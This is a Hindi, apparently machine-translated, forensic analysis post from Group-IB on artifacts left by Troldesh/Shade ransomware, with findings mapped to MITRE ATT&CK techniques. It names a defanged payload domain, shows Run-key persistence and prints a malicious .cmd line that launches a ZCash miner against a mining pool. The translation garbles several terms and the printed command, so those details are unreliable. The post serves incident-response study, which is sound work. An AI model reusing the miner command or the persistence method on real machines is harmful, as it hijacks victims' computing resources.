वह सब आपके बाद भी रहता है: ट्रोलेश रैंसमवेयर (शेड) की फोरेंसिक कलाकृतियां

यदि आप समाचार का पालन करते हैं , तो आप शायद साइबर अपराधियों के बीच सबसे लोकप्रिय क्रिप्टो-लॉकर्स में से एक ट्रोलेश रैंसमवेयर वायरस (शेड) की रूसी कंपनियों पर एक नए बड़े पैमाने पर हमले के बारे में जानते हैं। अकेले जून में, ग्रुप-आईबी ने प्रमुख एयरलाइंस, कार डीलरों और मीडिया के कर्मचारियों की ओर से भेजे गए ट्रोलेश के 1,100 से अधिक फ़िशिंग ईमेल की खोज की।

इस लेख में, हम फॉरेंसिक कलाकृतियों को देखेंगे जो एक समझौता किए गए डिवाइस के मीडिया पर शेड / ट्रोलेश के हमले के बाद मिल सकते हैं, और MITER ATT & CK के साथ हमलावरों द्वारा इस्तेमाल की जाने वाली रणनीति और तकनीकों की तुलना भी करते हैं।

ओलेग स्कुलकिन द्वारा पोस्ट किया गया, समूह-आईबी में फोरेंसिक विशेषज्ञ

Troldesh, जिसे Shade, XTBL, Trojan.Encoder.858, Da Vinci, No_more_ransome के रूप में भी जाना जाता है, एक वायरस है जो उपयोगकर्ता के संक्रमित डिवाइस पर फ़ाइलों को एन्क्रिप्ट करता है और जानकारी तक पहुंच बहाल करने के लिए फिरौती की आवश्यकता होती है। ट्रोलेश के हालिया अभियानों से पता चला है कि अब यह न केवल फाइलों को एन्क्रिप्ट करता है, बल्कि क्रिप्टोक्यूरेंसी माइनर्स भी करता है और ऑनलाइन विज्ञापन से ट्रैफ़िक और राजस्व बढ़ाने के लिए वेबसाइटों को ट्रैफ़िक उत्पन्न करता है।

ट्रॉलेश की गतिविधि का पहली बार समूह-आईबी विशेषज्ञों ने 2015 में पता लगाया था, उन्होंने देखा कि वायरस सफलतापूर्वक एंटीऑक्सिडेंट नेटवर्क टूल को सफलतापूर्वक हटा देता है। हमलावरों ने नियमित रूप से "पैकर" को बदल दिया - एक पैकर कार्यक्रम, जो फ़ाइल आकार को कम करता है और इसका पता लगाना और उलटना मुश्किल हो जाता है - इस वजह से, एंटीवायरस प्रोग्राम अक्सर इसे छोड़ देते हैं। 2018 के अंत तक, ट्रोलेश सबसे लोकप्रिय वायरस में से एक बन गया और आत्मविश्वास से आरटीएम और पोनी के साथ शीर्ष 3 में प्रवेश किया। पालोएलेटो नेटवर्क के विशेषज्ञों ने बताया कि ट्रोलेश न केवल रूसी उद्देश्यों के लिए काम कर रहा है - रैंसमवेयर से प्रभावित देशों में संयुक्त राज्य अमेरिका, जापान, भारत, थाईलैंड और कनाडा हैं।

प्रारंभिक संक्रमण वेक्टर

आमतौर पर, "ट्रॉल्डेश / शेड" को दुर्भावनापूर्ण अनुलग्नकों के साथ फ़िशिंग ईमेल के माध्यम से वितरित किया जाता है, उदाहरण के लिए, पासवर्ड-संरक्षित अभिलेखागार जिसमें दुर्भावनापूर्ण जेएस फाइलें होती हैं, खोलने के बाद जिसे क्रिप्टोकरंसी डाउनलोड और लॉन्च किया जाता है। इसका क्या मतलब है? इस तरह के अभिलेखागार के उद्घाटन के निशान का विश्लेषण करके हमारे अध्ययन को शुरू करना एक अच्छा विचार होगा। ऐसे निशान कहां मिल सकते हैं? उदाहरण के लिए, कूद सूचियों में:


5f7b5f1e01b83767.automaticDestinations-ms फ़ाइल से निकाला गया डेटा JECECDd का उपयोग कर

इसलिए, हम देखते हैं कि उपयोगकर्ता ने "पासवर्ड 11.rar ऑर्डर करने के बारे में" नाम से संग्रह खोला। लेकिन वह सिस्टम में कैसे आया? फ़ाइल डाउनलोड निर्देशिका में स्थित है, सबसे अधिक संभावना है कि यह इंटरनेट से डाउनलोड किया गया था। आइए ब्राउज़र इतिहास पर एक नज़र डालें:


Belkasoft Evidence Center का उपयोग करके WebCache01.dat फ़ाइल से डेटा निकाला गया

जैसा कि आप देख सकते हैं, फ़ाइल Microsoft एज वेब ब्राउज़र का उपयोग करके डाउनलोड की गई थी और डाउनलोड निर्देशिका में सहेजी गई थी। इसके अलावा, डाउनलोड से ठीक पहले, उपयोगकर्ता ने वेब-मेल साइट का दौरा किया, इसलिए, ई-मेल के माध्यम से संग्रह प्राप्त किया गया था।
इस प्रकार, हम सबसे सामान्य तकनीक के साथ काम कर रहे हैं: T1193 - "स्पीयरफिशिंग अटैचमेंट"।

संरक्षण तंत्र शुरू और बायपास करें

यदि हम संग्रह के अंदर देखते हैं, तो हमें लगभग समान नाम के साथ एक जेएस फ़ाइल मिलेगी। मालवेयर को लोड करने और काम करना शुरू करने के लिए, उपयोगकर्ता को निर्दिष्ट फ़ाइल पर डबल-क्लिक करना होगा। उसके बाद, "wscript.exe" जेएस फ़ाइल लॉन्च करेगा, जो mat.tradetffx [।] से दुर्भावनापूर्ण फ़ाइल डाउनलोड करेगा और इसे चलाएगा। क्या हम डिस्क पर इसके कोई निशान पा सकते हैं? बेशक!

आइए wscript.exe प्रीफ़ैच फ़ाइल को देखें, इसके साथ इंटरेक्ट की गई फ़ाइलों पर ध्यान केंद्रित करते हुए:
<...>
\ VOLUME {01d3dcb4976cd072-3a97874f} \ USERS \ 0136 \ APPDATA \ LOCAL \ MICROSOFT \ WINDOWS \ INETCACHE \ IE के OEJ87644 \ 1C [1] .JPG
\ VOLUME {01d3dcb4976cd072-3a97874f} \ USERS \ 0136 \ APPDATA \ LOCAL \ TEMP \ 7ZO84024637 \ _ \ _ AJS
<...>
तो, हमारे पास दो दिलचस्प फाइलें हैं। सबसे पहले, अब हम जेएस फाइल का नाम जानते हैं जो कि आर्काइव में था, और दूसरी बात, हमें उस फाइल का नाम पता चला जिसे मैंने डाउनलोड किया था। यह पता लगाने का समय है कि इसे कहां से डाउनलोड किया गया था। आइए WebCache01.dat पर फिर से नज़र डालें:


ESCatabaseView का उपयोग करके WebCache01.dat से प्राप्त डेटा

यदि हम ResponseHeaders फ़ील्ड की सामग्री को डीकोड करते हैं, तो हमें निम्नलिखित मिलते हैं:
HTTP / 1.1 200 ठीक है
सामग्री-प्रकार: छवि / जेपीईजी
सामग्री-लंबाई: 1300656
ETag: "5ced19b6-13d8b0"
सख्त-परिवहन-सुरक्षा: अधिकतम आयु = 31536000;
वास्तव में, यह एक JPG फ़ाइल नहीं है, बल्कि एक निष्पादन योग्य फ़ाइल है जो शेड का एक उदाहरण को डिक्रिप्ट और लॉन्च करती है।
तो हम यहां किन तकनीकों से निपट रहे हैं? स्क्रिप्टिंग (T1064), उपयोगकर्ता निष्पादन (T1204), और मस्केडिंग (T1036)।

सिस्टम पिन

"शेड" सिस्टम को ठीक करने के बजाय एक तुच्छ तरीके का उपयोग करता है - रजिस्ट्री कुंजी "सॉफ़्टवेयर \ Microsoft \ Windows \ CurrentVersion \ Run" (T1060)। हम पहले से ही जानते हैं कि दुर्भावनापूर्ण JS फ़ाइल "0136" उपयोगकर्ता द्वारा खोली गई थी, इसलिए संबंधित फ़ाइल "NTUSER.DAT" पर एक नज़र डालें:


बेलकासॉफ्ट एविडेंस सेंटर द्वारा पता लगाए गए सिस्टम में लॉकिंग तंत्र

लेकिन वह सब नहीं है! और भी दिलचस्प:

बेलकासॉफ्ट एविडेंस सेंटर द्वारा पता लगाए गए सिस्टम में लॉकिंग तंत्र

जैसा कि आप दृष्टांत में देख सकते हैं, C: \ ProgramData \ SysWOW64 \ leWRX7w.cmd की ओर इशारा करते हुए एक और दिलचस्प प्रविष्टि है। आइए देखें कि इस फ़ाइल के अंदर क्या है:
echo CreateObject ("Wscript.Shell")। "" ^ & WScript.Arguments (0) ^ & "", 0, गलत> "% TEMP% / pxNXSB.vbs" && प्रारंभ / WAIT wscript.exe "% TEMP%% चलाएँ। /pxNXSB.vbs "" C: \ Users \ 0136 \ AppData \ Roaming \ SOFTWA ~ 1 \ NHEQMI ~ 1.EXE -l eu1-zcash.flypool.org 3 333 -u t1L9iBXyRgaYrQ5JSTSdstopV6p6tp2tx2txXx2x2x TEMP% \ pxNXSB.vbs "
तो, हमारे पास एक और फ़ाइल है। इसकी सामग्री को देखते हुए, यह हमलावरों द्वारा ZCash क्रिप्टोक्यूरेंसी को खदान करने के लिए उपयोग किया जाता है। इस प्रकार, भले ही पीड़ित फिरौती का भुगतान करता है, फिर भी उसके सिस्टम के संसाधनों का उपयोग घुसपैठियों द्वारा किया जाएगा।

परिणाम

सबसे पहले, "शेड" एक क्रिप्टोकरंसी है, इसलिए आपकी आंख को पकड़ने वाली पहली चीज "CRYPTED000007", "मुझे पढ़ें" फाइलों के साथ-साथ आपके डेस्कटॉप पर "ताज़ा" वॉलपेपर के साथ बहुत सारी फाइलें हैं:


इस छवि के साथ एक फ़ाइल C: \ Users \% उपयोगकर्ता नाम% \ AppData \ Roaming निर्देशिका में पाई जा सकती है। हम किन उपकरणों के साथ काम कर रहे हैं? "प्रभाव के लिए एन्क्रिप्टेड डेटा" (T1486)।
लेकिन, जैसा कि आप पहले ही समझ चुके हैं, "शेड" एक साधारण क्रिप्टो लॉकर नहीं है। क्रिप्टोकरंसी के अलावा, हमें एक खनिक भी मिला, जिसका अर्थ है कि यह एक और तकनीक का उल्लेख करने योग्य है - "संसाधन अपहरण"।

MITER ATT और CK

हमारे विश्लेषण में शेड वितरकों की कई रणनीति और तकनीकों का पता चला, आइए संक्षेप में बताते हैं: